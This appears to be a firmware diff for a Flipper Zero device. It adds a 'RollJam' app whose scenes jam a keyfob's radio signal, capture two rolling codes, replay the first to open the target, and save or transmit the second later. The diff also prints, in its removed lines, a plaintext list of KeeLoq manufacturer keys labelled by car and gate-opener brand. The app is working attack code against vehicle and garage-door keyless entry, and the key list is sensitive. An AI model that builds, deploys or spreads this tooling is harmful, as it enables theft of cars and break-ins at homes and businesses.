+    widget_reset(app->widget);
+    widget_add_string_element(
+        app->widget, 64, 2, AlignCenter, AlignTop,
+        FontPrimary, "PHASE 2 / 4");
+    widget_add_string_element(
+        app->widget, 64, 16, AlignCenter, AlignTop,
+        FontSecondary, "1st code CAPTURED!");
+    widget_add_string_element(
+        app->widget, 64, 28, AlignCenter, AlignTop,
+        FontSecondary, "Still jamming...");
+    widget_add_string_element(
+        app->widget, 64, 42, AlignCenter, AlignTop,
+        FontPrimary, "PRESS KEYFOB AGAIN");
+    widget_add_string_element(
+        app->widget, 64, 56, AlignCenter, AlignTop,
+        FontSecondary, "[BACK] cancel");
+
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher, RollJamViewWidget);
+
+    // CRITICAL: completely clear second signal
+    memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
+    app->signal_second.size = 0;
+    app->signal_second.valid = false;
+
+    // Stop previous capture if any
+    rolljam_capture_stop(app);
+
+    // Small delay to let radio settle
+    furi_delay_ms(50);
+
+    // Start fresh capture for second signal
+    rolljam_capture_start(app);
+
+    notification_message(app->notification, &sequence_blink_yellow_100);
+
+    FuriTimer* timer = furi_timer_alloc(
+        phase2_timer_callback, FuriTimerTypePeriodic, app);
+    furi_timer_start(timer, 300);
+
+    scene_manager_set_scene_state(
+        app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
+
+    FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
+}
+
+bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
+    RollJamApp* app = context;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == RollJamEventSignalCaptured) {
+            notification_message(app->notification, &sequence_success);
+
+            FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
+                       app->signal_second.size);
+
+            rolljam_capture_stop(app);
+
+            scene_manager_next_scene(
+                app->scene_manager, RollJamSceneAttackPhase3);
+            return true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        FURI_LOG_I(TAG, "Phase2: cancelled by user");
+        rolljam_capture_stop(app);
+        rolljam_jammer_stop(app);
+        scene_manager_search_and_switch_to_another_scene(
+            app->scene_manager, RollJamSceneMenu);
+        return true;
+    }
+    return false;
+}
+
+void rolljam_scene_attack_phase2_on_exit(void* context) {
+    RollJamApp* app = context;
+
+    FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
+        app->scene_manager, RollJamSceneAttackPhase2);
+    if(timer) {
+        furi_timer_stop(timer);
+        furi_timer_free(timer);
+    }
+
+    widget_reset(app->widget);
+}

applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c

@@ -0,0 +1,70 @@
+#include "rolljam_scene.h"
+#include "../helpers/rolljam_cc1101_ext.h"
+#include "../helpers/rolljam_receiver.h"
+
+// ============================================================
+// Phase 3: STOP jam + REPLAY first signal
+// The victim device opens. We keep the 2nd (newer) code.
+// ============================================================
+
+void rolljam_scene_attack_phase3_on_enter(void* context) {
+    RollJamApp* app = context;
+
+    // UI
+    widget_reset(app->widget);
+    widget_add_string_element(
+        app->widget, 64, 2, AlignCenter, AlignTop,
+        FontPrimary, "PHASE 3 / 4");
+    widget_add_string_element(
+        app->widget, 64, 18, AlignCenter, AlignTop,
+        FontSecondary, "Stopping jammer...");
+    widget_add_string_element(
+        app->widget, 64, 32, AlignCenter, AlignTop,
+        FontPrimary, "REPLAYING 1st CODE");
+    widget_add_string_element(
+        app->widget, 64, 48, AlignCenter, AlignTop,
+        FontSecondary, "Target should open!");
+
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher, RollJamViewWidget);
+
+    // LED: green
+    notification_message(app->notification, &sequence_blink_green_100);
+
+    // 1) Stop the jammer
+    rolljam_jammer_stop(app);
+
+    // Wait for jammer thread to fully stop and radio to settle
+    furi_delay_ms(1000);
+
+    // 2) Transmit first captured signal via internal CC1101
+    rolljam_transmit_signal(app, &app->signal_first);
+
+    FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
+
+    notification_message(app->notification, &sequence_success);
+
+    // Brief display then advance
+    furi_delay_ms(800);
+
+    view_dispatcher_send_custom_event(
+        app->view_dispatcher, RollJamEventPhase3Done);
+}
+
+bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
+    RollJamApp* app = context;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == RollJamEventPhase3Done) {
+            scene_manager_next_scene(
+                app->scene_manager, RollJamSceneResult);
+            return true;
+        }
+    }
+    return false;
+}
+
+void rolljam_scene_attack_phase3_on_exit(void* context) {
+    RollJamApp* app = context;
+    widget_reset(app->widget);
+}

applications/main/RollJam/scenes/rolljam_scene_config.h

@@ -0,0 +1,17 @@
+#pragma once
+
+/*
+ * Scene configuration file.
+ * Lists all scenes for the SceneManager.
+ * 
+ * In some Flipper apps this uses ADD_SCENE macros.
+ * We handle it manually via the handlers arrays in rolljam.c
+ * so this file just documents the scene list.
+ *
+ * Scenes:
+ *   0 - RollJamSceneMenu
+ *   1 - RollJamSceneAttackPhase1
+ *   2 - RollJamSceneAttackPhase2
+ *   3 - RollJamSceneAttackPhase3
+ *   4 - RollJamSceneResult
+ */

applications/main/RollJam/scenes/rolljam_scene_menu.c

@@ -0,0 +1,129 @@
+#include "rolljam_scene.h"
+
+// ============================================================
+// Menu scene: select frequency, modulation, start attack
+// ============================================================
+
+static void menu_freq_changed(VariableItem* item) {
+    RollJamApp* app = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+
+    app->freq_index = index;
+    app->frequency = freq_values[index];
+    variable_item_set_current_value_text(item, freq_names[index]);
+}
+
+static void menu_mod_changed(VariableItem* item) {
+    RollJamApp* app = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+
+    app->mod_index = index;
+    variable_item_set_current_value_text(item, mod_names[index]);
+}
+
+static void menu_jam_offset_changed(VariableItem* item) {
+    RollJamApp* app = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+
+    app->jam_offset_index = index;
+    app->jam_offset_hz = jam_offset_values[index];
+    variable_item_set_current_value_text(item, jam_offset_names[index]);
+}
+
+static void menu_hw_changed(VariableItem* item) {
+    RollJamApp* app = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+
+    app->hw_index = index;
+    variable_item_set_current_value_text(item, hw_names[index]);
+}
+
+static void menu_enter_callback(void* context, uint32_t index) {
+    RollJamApp* app = context;
+
+    if(index == 4) {
+        view_dispatcher_send_custom_event(
+            app->view_dispatcher, RollJamEventStartAttack);
+    }
+}
+
+void rolljam_scene_menu_on_enter(void* context) {
+    RollJamApp* app = context;
+
+    variable_item_list_reset(app->var_item_list);
+
+    // --- Frequency ---
+    VariableItem* freq_item = variable_item_list_add(
+        app->var_item_list,
+        "Frequency",
+        FreqIndex_COUNT,
+        menu_freq_changed,
+        app);
+    variable_item_set_current_value_index(freq_item, app->freq_index);
+    variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
+
+    // --- Modulation ---
+    VariableItem* mod_item = variable_item_list_add(
+        app->var_item_list,
+        "Modulation",
+        ModIndex_COUNT,
+        menu_mod_changed,
+        app);
+    variable_item_set_current_value_index(mod_item, app->mod_index);
+    variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
+
+    VariableItem* offset_item = variable_item_list_add(
+        app->var_item_list,
+        "Jam Offset",
+        JamOffIndex_COUNT,
+        menu_jam_offset_changed,
+        app);
+    variable_item_set_current_value_index(offset_item, app->jam_offset_index);
+    variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
+
+    // --- Hardware ---
+    VariableItem* hw_item = variable_item_list_add(
+        app->var_item_list,
+        "Hardware",
+        HwIndex_COUNT,
+        menu_hw_changed,
+        app);
+    variable_item_set_current_value_index(hw_item, app->hw_index);
+    variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
+
+    // --- Start button ---
+    variable_item_list_add(
+        app->var_item_list,
+        ">> START ATTACK <<",
+        0,
+        NULL,
+        app);
+
+    variable_item_list_set_enter_callback(
+        app->var_item_list, menu_enter_callback, app);
+
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher, RollJamViewVarItemList);
+}
+
+bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
+    RollJamApp* app = context;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == RollJamEventStartAttack) {
+            // Clear previous captures
+            memset(&app->signal_first, 0, sizeof(RawSignal));
+            memset(&app->signal_second, 0, sizeof(RawSignal));
+
+            scene_manager_next_scene(
+                app->scene_manager, RollJamSceneAttackPhase1);
+            return true;
+        }
+    }
+    return false;
+}
+
+void rolljam_scene_menu_on_exit(void* context) {
+    RollJamApp* app = context;
+    variable_item_list_reset(app->var_item_list);
+}

applications/main/RollJam/scenes/rolljam_scene_result.c

@@ -0,0 +1,111 @@
+#include "rolljam_scene.h"
+#include "../helpers/rolljam_receiver.h"
+
+// ============================================================
+// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
+// ============================================================
+
+static void result_dialog_callback(DialogExResult result, void* context) {
+    RollJamApp* app = context;
+
+    if(result == DialogExResultLeft) {
+        view_dispatcher_send_custom_event(
+            app->view_dispatcher, RollJamEventSaveSignal);
+    } else if(result == DialogExResultRight) {
+        view_dispatcher_send_custom_event(
+            app->view_dispatcher, RollJamEventReplayNow);
+    }
+}
+
+void rolljam_scene_result_on_enter(void* context) {
+    RollJamApp* app = context;
+
+    dialog_ex_reset(app->dialog_ex);
+
+    dialog_ex_set_header(
+        app->dialog_ex, "Attack Complete!",
+        64, 2, AlignCenter, AlignTop);
+
+    dialog_ex_set_text(
+        app->dialog_ex,
+        "1st code: SENT to target\n"
+        "2nd code: IN MEMORY\n\n"
+        "What to do with 2nd?",
+        64, 18, AlignCenter, AlignTop);
+
+    dialog_ex_set_left_button_text(app->dialog_ex, "Save");
+    dialog_ex_set_right_button_text(app->dialog_ex, "Send");
+
+    dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
+    dialog_ex_set_context(app->dialog_ex, app);
+
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher, RollJamViewDialogEx);
+}
+
+bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
+    RollJamApp* app = context;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == RollJamEventSaveSignal) {
+            // Save to .sub file
+            rolljam_save_signal(app, &app->signal_second);
+
+            popup_reset(app->popup);
+            popup_set_header(
+                app->popup, "Saved!",
+                64, 20, AlignCenter, AlignCenter);
+            popup_set_text(
+                app->popup,
+                "File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
+                64, 38, AlignCenter, AlignCenter);
+            popup_set_timeout(app->popup, 5000);
+            popup_enable_timeout(app->popup);
+            view_dispatcher_switch_to_view(
+                app->view_dispatcher, RollJamViewPopup);
+
+            notification_message(app->notification, &sequence_success);
+            return true;
+
+        } else if(event.event == RollJamEventReplayNow) {
+            // Show sending screen
+            popup_reset(app->popup);
+            popup_set_header(
+                app->popup, "Transmitting...",
+                64, 20, AlignCenter, AlignCenter);
+            popup_set_text(
+                app->popup, "Sending 2nd code NOW",
+                64, 38, AlignCenter, AlignCenter);
+            view_dispatcher_switch_to_view(
+                app->view_dispatcher, RollJamViewPopup);
+
+            // Transmit second signal
+            rolljam_transmit_signal(app, &app->signal_second);
+
+            notification_message(app->notification, &sequence_success);
+
+            popup_set_header(
+                app->popup, "Done!",
+                64, 20, AlignCenter, AlignCenter);
+            popup_set_text(
+                app->popup,
+                "2nd code transmitted!\n\nPress Back",
+                64, 38, AlignCenter, AlignCenter);
+            popup_set_timeout(app->popup, 5000);
+            popup_enable_timeout(app->popup);
+
+            return true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_search_and_switch_to_another_scene(
+            app->scene_manager, RollJamSceneMenu);
+        return true;
+    }
+    return false;
+}
+
+void rolljam_scene_result_on_exit(void* context) {
+    RollJamApp* app = context;
+    dialog_ex_reset(app->dialog_ex);
+    popup_reset(app->popup);
+}

applications/main/RollJam/views/rolljam_attack_view.c

@@ -0,0 +1,53 @@
+#include "rolljam_attack_view.h"
+#include <gui/canvas.h>
+
+// ============================================================
+// Custom drawing for attack status
+// Reserved for future use with a custom View
+// Currently the app uses Widget modules instead
+// ============================================================
+
+void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
+    canvas_clear(canvas);
+
+    // Title bar
+    canvas_set_font(canvas, FontPrimary);
+    canvas_draw_str_aligned(
+        canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
+
+    // Separator
+    canvas_draw_line(canvas, 0, 14, 128, 14);
+
+    // Status
+    canvas_set_font(canvas, FontSecondary);
+    canvas_draw_str_aligned(
+        canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
+
+    // Indicators
+    int y = 32;
+
+    if(state->jamming) {
+        canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
+        // Animated dots could go here
+    } else {
+        canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
+    }
+    y += 12;
+
+    if(state->capturing) {
+        canvas_draw_str(canvas, 4, y, "RX:  [LISTENING]");
+    } else {
+        canvas_draw_str(canvas, 4, y, "RX:  [OFF]");
+    }
+    y += 12;
+
+    // Signal counter
+    char buf[32];
+    snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
+    canvas_draw_str(canvas, 4, y, buf);
+
+    // Footer
+    canvas_set_font(canvas, FontSecondary);
+    canvas_draw_str_aligned(
+        canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
+}

applications/main/RollJam/views/rolljam_attack_view.h

@@ -0,0 +1,23 @@
+#pragma once
+
+#include "../rolljam.h"
+
+/*
+ * Custom view for attack visualization.
+ * Currently the app uses Widget and DialogEx for display.
+ * This file is reserved for a future custom canvas-drawn view
+ * (e.g., signal waveform display, animated jamming indicator).
+ *
+ * For now it provides a simple status draw function.
+ */
+
+typedef struct {
+    const char* phase_text;
+    const char* status_text;
+    bool jamming;
+    bool capturing;
+    int signal_count;
+} AttackViewState;
+
+// Draw attack status on a canvas (for future custom View use)
+void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

applications/main/application.fam

@@ -8,6 +8,7 @@ App(
         "lfrfid",
         "nfc",
         "subghz",
+        "rolljam",
         "subghz_bruteforcer",
         "archive",
         "subghz_remote",

applications/main/subghz/helpers/subghz_types.h

@@ -93,6 +93,7 @@ typedef enum {
     SubGhzViewIdFrequencyAnalyzer,
     SubGhzViewIdReadRAW,
     SubGhzViewIdPsaDecrypt,
+    SubGhzViewIdKeeloqDecrypt,
 
 } SubGhzViewId;
 

applications/main/subghz/resources/subghz/assets/keeloq_mfcodes

@@ -1,107 +1,108 @@
 Filetype: Flipper SubGhz Keystore File
 Version: 0
-Encryption: 0
-0000000000000000:1:Allgate_Simple
-0000000023304758:6:KGB/Subaru
-0000000033205748:7:Magic_2
-00000000C3644917:2:VAG_Custom_Seed
-0102030410203040:1:IronLogic
-0123456789ABCDEF:2:Stilmatic
-0132456789ABCDEF:1:Pandora_Test_Debug_2
-05AEDAABAA981903:1:Rosh
-08AEDAABAA981903:1:Dea_Mio
-1067DC33E7D88A46:0:Leopard
-12332594A9189478:1:Sheriff
-1234567812345678:2:NICE_Flor_S
-1234567890123456:1:Cenmax
-188B0544A9B1DF14:2:Centurion
-1961DAC2EB198847:2:Guard_RF-311A
-1B36977B281597AC:1:Pandora_PRO
-207DBBE59D386F44:2:Cardin_S449
-2156EB02D8E9B977:1:Pandora_DEA
-2255EA01DBEABA76:1:Pandora_GIBIDI
-2354E900DAEBBB75:1:Pandora_MCODE
-2453EE07DDECBC72:1:Pandora_Unknown_1
-2552EF06DCEDBD73:1:Pandora_SUZUKI
-2587010764070864:1:Harpoon
-2626991902991902:1:Gibidi
-2651EC05DFEEBE70:1:Pandora_Unknown_2
-27193A9B117C0835:11:Jarolift
-2739451414471820:2:Audii
-2750ED04DEEFBF71:2:Pandora_NISSAN
-30317B307D794471:1:KEY
-314C3865304E3961:1:Novoferm
-32130221685B9D8C:2:VAG_HELLA_VPM2
-3519B934A4227995:1:Pandora_SUBARU
-352BABACA5F4DFE0:1:Pecinin
-381D7D9A2A17AE99:1:Pandora_M101
-3E461AB4F76DA19B:2:Merlin
-4030201004030201:1:IL-100(Smart)
-4130850A82610A14:1:Pantera_CLK
-414C455831393830:1:Kingates_Stylo4k
-4292903083134583:2:Monarch
-434144494C4C4143:2:Cadillac_GM
-43485259534C4552:2:Chrysler
-444145574F4F0000:2:Daewoo
-4772736565734769:1:Aprimatic
-484D6C6D73545253:1:NICE_MHOUSE
-484F4E4441200000:2:Honda
-4859554E44414920:2:Hyundai_Asia
-4C6D4D7A55644F76:3:BFT
-4D41474E64796E65:1:Pantera
-4D49545355424953:2:Mitsubishi
-4E495353414E2000:2:Nissan
-535446524B453030:13:KIAV5
-53555A554B490000:2:Suzuki
-53696C7669618C14:5:FAAC_SLH
-54365CB7676284F9:1:Alligator_S-275
-544F594F54410000:2:Toyota
-54524D534543494E:1:NICE_Smilo
-5504045708301203:1:SL_A6-A9/Tomahawk_9010
-572768229476CAFF:2:Motorline
-638664A880AA23FC:11:KIAV6A
-6408076407018725:1:Tomahawk_TZ-9030
-66B446B980AC752B:1:Cenmax_St-7
-67732C5056334627:1:Pantera_XS/Jaguar
-685B9D8C5A130221:2:VAG_HELLA_VPM
-68732C5056334728:1:APS-1100_APS-2550
-6912FA557DC2418A:0:Reff
-6B8E6CA088A22BF4:12:KIAV6B
-6D69736572657265:2:BFT_Miserere
-6EB6AE4815C63ED2:9:Beninca_ARC
-6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
-7BCBEED4376EDCBF:2:Sommer
-7EAF1E9A392B19B9:1:Pandora_PRO2
-8455F43584941223:1:DoorHan
-8607427861394E30:2:EcoStar
-8765432187654321:2:Sommer_FM_868
-89146E59537903B7:1:JCM_Tech
-8A326438B62287F5:0:Faraon
-8BC9E46704700800:1:Vag
-96638C36C99C2C9B:1:Came_Space
-9804655AA5000000:8:Magic_4
-9BF7F89BF8FE78DA:1:SL_A2-A4
-9C61FD3A47B8E25C:2:Elmes_Poland
-9DA08153CF312BA7:1:Normstahl
-A8F5DFFC8DAA5CDB:10:KIA
-A9748532B7655297:2:GSN
-AA38A7A32189B5A1:0:Mutanco_Mutancode
-AAFBFBA8F7CFEDFC:1:Cenmax_St-5
-AC35BB2759000000:8:Magic_3
-AD3C12A17028F11E:1:Partisan_RX
-B3E5625A8CCD7139:2:Steelmate
-B51526E8F126D1D7:0:Teco
-B51A7AAB27351596:0:ZX-730-750-1055
-BBEE9EDDAAF97ECC:1:Jolly_Motors
-CEB6AE48B5C63ED2:4:Beninca
-D5A5E7B2A7C1A0BA:2:Mongoose
-E5D2C83529C113E6:2:VAG_HELLA_PWM
-EEF3D4B2626C5578:1:Alligator
-F1A3E552C8647E55:2:Comunello
-F250006EF29E030E:2:Vauweh
-F6E5D4B32ABADCFE:1:SL_B6,B9_dop
-FAAC05600001FAAC:2:FAAC_RC,XT
-FAAC05600002FAAC:2:Genius_Bravo
-FADA12FADA34F0DA:1:Rossi
-FC4DE22CD5370320:1:DTM_Neo
-FEDCBA9876543210:2:Came_Tam
+Encryption: 1
+IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
+1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
+71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
+250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
+9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
+0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
+F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
+F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
+265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
+DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
+1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
+68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
+E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
+AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
+DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
+321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
+E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
+FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
+FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
+8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
+20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
+7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
+00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
+5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
+731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
+A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
+8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
+25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
+C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
+7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
+65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
+DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
+C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
+51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
+947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
+B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
+C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
+5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
+222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
+E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
+29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
+E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
+701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
+AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
+A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
+7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
+8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
+67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
+4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
+2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
+1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
+AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
+5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
+F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
+59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
+CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
+0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
+C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
+A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
+6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
+CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
+491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
+9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
+BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
+7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
+B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
+BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
+B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
+91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
+AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
+98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
+27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
+716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
+740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
+9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
+9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
+B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
+46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
+B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
+8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
+8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
+F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
+72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
+51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
+7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
+944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
+F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
+ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
+717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
+C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
+CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
+F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
+E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
+5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
+5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
+E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
+A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
+97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
+452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
+AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
+E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
+7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
+0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
